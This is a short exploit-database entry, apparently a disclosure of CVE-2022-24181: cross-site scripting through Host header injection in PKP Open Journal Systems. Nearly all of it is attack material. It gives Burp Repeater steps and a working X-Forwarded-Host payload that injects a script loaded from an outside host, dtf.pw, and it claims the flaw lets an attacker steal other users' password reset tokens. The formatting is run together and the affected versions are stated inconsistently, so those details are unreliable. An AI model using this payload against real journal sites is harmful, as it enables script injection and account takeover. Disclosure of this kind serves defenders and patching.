# Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)# Date: 31/01/2022# Exploit Author: Hemant Kashyap# Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649# Version: PKP Open Journals System 2.4.8 >= 3.3# Tested on: All OS# CVE : CVE-2022-24181# References: https://youtu.be/v8-9evO2oVg
XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce:1)Go to this site: https://who's-using-ojs-software.com
2)And capture this request in burp ,and send to repeater.3)Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com
4) And this click on send , after this right click on request and click on show response in browser , after this copy the request.5) Paste this request in browser ,and you'll see xss pop-up. Mitigation: Update to newer version.
This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8all are vulnerable to xss via Host Header injection and steal password reset token vulnerability